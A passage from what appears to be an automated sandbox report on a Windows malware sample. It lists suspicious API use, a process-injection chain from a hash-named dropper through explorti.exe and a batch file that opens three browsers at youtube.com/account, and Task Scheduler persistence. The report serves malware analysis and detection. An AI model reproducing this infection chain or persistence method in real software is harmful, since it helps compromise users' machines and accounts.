Token: SeCreatePagefilePrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A

Suspicious use of FindShellTrayWindow

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\c6d326bbc90f6093783753cd0b1253599da2e685e39ece331b04fd73450eea28.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A

Suspicious use of SendNotifyMessage

Description Indicator Process Target
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A

Suspicious use of SetWindowsHookEx

Description Indicator Process Target
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Users\Admin\1000029002\e1bdee8355.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 3176 wrote to memory of 1580 N/A C:\Users\Admin\AppData\Local\Temp\c6d326bbc90f6093783753cd0b1253599da2e685e39ece331b04fd73450eea28.exe C:\Users\Admin\AppData\Local\Temp\0d8f5eb8a7\explorti.exe
PID 3176 wrote to memory of 1580 N/A C:\Users\Admin\AppData\Local\Temp\c6d326bbc90f6093783753cd0b1253599da2e685e39ece331b04fd73450eea28.exe C:\Users\Admin\AppData\Local\Temp\0d8f5eb8a7\explorti.exe
PID 3176 wrote to memory of 1580 N/A C:\Users\Admin\AppData\Local\Temp\c6d326bbc90f6093783753cd0b1253599da2e685e39ece331b04fd73450eea28.exe C:\Users\Admin\AppData\Local\Temp\0d8f5eb8a7\explorti.exe
PID 1580 wrote to memory of 4044 N/A C:\Users\Admin\AppData\Local\Temp\0d8f5eb8a7\explorti.exe C:\Users\Admin\AppData\Local\Temp\1000020001\000e8df3a7.exe
PID 1580 wrote to memory of 4044 N/A C:\Users\Admin\AppData\Local\Temp\0d8f5eb8a7\explorti.exe C:\Users\Admin\AppData\Local\Temp\1000020001\000e8df3a7.exe
PID 1580 wrote to memory of 4044 N/A C:\Users\Admin\AppData\Local\Temp\0d8f5eb8a7\explorti.exe C:\Users\Admin\AppData\Local\Temp\1000020001\000e8df3a7.exe
PID 4044 wrote to memory of 2844 N/A C:\Users\Admin\AppData\Local\Temp\1000020001\000e8df3a7.exe C:\Windows\system32\cmd.exe
PID 4044 wrote to memory of 2844 N/A C:\Users\Admin\AppData\Local\Temp\1000020001\000e8df3a7.exe C:\Windows\system32\cmd.exe
PID 2844 wrote to memory of 2832 N/A C:\Windows\system32\cmd.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 2844 wrote to memory of 2832 N/A C:\Windows\system32\cmd.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 2844 wrote to memory of 2752 N/A C:\Windows\system32\cmd.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 2844 wrote to memory of 2752 N/A C:\Windows\system32\cmd.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 2844 wrote to memory of 2296 N/A C:\Windows\system32\cmd.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 2844 wrote to memory of 2296 N/A C:\Windows\system32\cmd.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 2832 wrote to memory of 3096 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 2832 wrote to memory of 3096 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 2752 wrote to memory of 4232 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 2752 wrote to memory of 4232 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 2296 wrote to memory of 4300 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 2296 wrote to memory of 4300 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 2296 wrote to memory of 4300 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 2296 wrote to memory of 4300 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 2296 wrote to memory of 4300 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 2296 wrote to memory of 4300 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 2296 wrote to memory of 4300 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 2296 wrote to memory of 4300 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 2296 wrote to memory of 4300 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 2296 wrote to memory of 4300 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 2296 wrote to memory of 4300 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 4300 wrote to memory of 3392 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 4300 wrote to memory of 3392 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 4300 wrote to memory of 3392 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 4300 wrote to memory of 3392 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 4300 wrote to memory of 3392 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 4300 wrote to memory of 3392 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 4300 wrote to memory of 3392 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 4300 wrote to memory of 3392 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 4300 wrote to memory of 3392 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 4300 wrote to memory of 3392 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 4300 wrote to memory of 3392 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 4300 wrote to memory of 3392 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 4300 wrote to memory of 3392 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 4300 wrote to memory of 3392 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 4300 wrote to memory of 3392 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 4300 wrote to memory of 3392 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 4300 wrote to memory of 3392 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 4300 wrote to memory of 3392 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 4300 wrote to memory of 3392 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 4300 wrote to memory of 3392 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 4300 wrote to memory of 3392 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 4300 wrote to memory of 3392 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 4300 wrote to memory of 3392 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 4300 wrote to memory of 3392 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 4300 wrote to memory of 3392 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 4300 wrote to memory of 3392 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 4300 wrote to memory of 3392 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 4300 wrote to memory of 3392 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 4300 wrote to memory of 3392 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 4300 wrote to memory of 3392 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 4300 wrote to memory of 3392 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 4300 wrote to memory of 3392 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 4300 wrote to memory of 3392 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 4300 wrote to memory of 3392 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 4300 wrote to memory of 3392 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe

Uses Task Scheduler COM API

persistence

Processes

C:\Users\Admin\AppData\Local\Temp\c6d326bbc90f6093783753cd0b1253599da2e685e39ece331b04fd73450eea28.exe

"C:\Users\Admin\AppData\Local\Temp\c6d326bbc90f6093783753cd0b1253599da2e685e39ece331b04fd73450eea28.exe"

C:\Users\Admin\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

"C:\Users\Admin\AppData\Local\Temp\0d8f5eb8a7\explorti.exe"

C:\Users\Admin\AppData\Local\Temp\1000020001\000e8df3a7.exe

"C:\Users\Admin\AppData\Local\Temp\1000020001\000e8df3a7.exe"

C:\Windows\system32\cmd.exe

"C:\Windows\sysnative\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\94AE.tmp\94AF.tmp\94B0.bat C:\Users\Admin\AppData\Local\Temp\1000020001\000e8df3a7.exe"

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" "https://www.youtube.com/account"

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" "https://www.youtube.com/account"

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" "https://www.youtube.com/account"

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=123.0.6312.106 --initial-client-data=0x104,0x108,0x10c,0xe4,0x110,0x7ff9de4acc40,0x7ff9de4acc4c,0x7ff9de4acc58

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0x108,0x10c,0x110,0xe4,0x114,0x7ff9de3646f8,0x7ff9de364708,0x7ff9de364718

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" https://www.youtube.com/account

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=1992 -parentBuildID 20240401114208 -prefsHandle 1908 -prefMapHandle 1900 -prefsLen 23680 -prefMapSize 244658 -appDir "C:\Program Files\Mozilla Firefox\browser" - {098328b6-9098-473f-905d-33e59787acf6} 4300 "\\.\pipe\gecko-crash-server-pipe.4300" gpu

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-appcompat-clear --gpu-preferences=WAAAAAAAAADgAAAMAAAAAAAAAAAAAAAAAABgAAEAAAA4AAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --field-trial-handle=1916,i,5111545092435053062,17168723246816221982,262144 --variations-seed-version=20240730-050116.493000 --mojo-platform-channel-handle=1912 /prefetch:2

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=2152,i,5111545092435053062,17168723246816221982,262144 --variations-seed-version=20240730-050116.493000 --mojo-platform-channel-handle=2404 /prefetch:3

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=2184,i,5111545092435053062,17168723246816221982,262144 --variations-seed-version=20240730-050116.493000 --mojo-platform-channel-handle=2416 /prefetch:8

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2464 -parentBuildID 20240401114208 -prefsHandle 2440 -prefMapHandle 2436 -prefsLen 24600 -prefMapSize 244658 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {b777feba-8eac-4130-ac50-bcf14a441a18} 4300 "\\.\pipe\gecko-crash-server-pipe.4300" socket

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2144,10922246636206174699,10285874768940626983,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2156 /prefetch:2

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2144,10922246636206174699,10285874768940626983,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2208 /prefetch:3

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2144,10922246636206174699,10285874768940626983,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2804 /prefetch:8

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2144,10922246636206174699,10285874768940626983,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3308 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

